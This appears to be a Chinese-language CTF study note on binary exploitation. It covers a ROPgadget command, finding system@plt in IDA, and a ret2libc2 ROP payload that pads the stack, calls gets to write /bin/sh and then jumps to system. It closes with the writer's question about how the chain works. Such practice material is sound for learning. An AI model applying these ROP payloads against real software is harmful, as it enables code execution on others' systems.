Pwn题中常用的指令

ROPgadget --binary 某某文件 --only ‘jmp|ret’

system的plt地址可以用IDA来查看，在页面中使用ALT + T来搜索system

ret2libc2那道题

payload = flat( ['a' \* 112, gets\_plt, pop\_ebx, buf2, system\_plt, 0xdeadbeef, buf2])

首先用a填充栈和EBP，然后返回地址是plt中已经出现了的gets函数。这时sendline()一

行字符串/bin/sh。这个时候把末尾的buf2的地址弹到EBX上面去。后面的ret指令也只是

把0xdeadbeef弹到EIP上面去，这么实现调用到system\_plt的呀？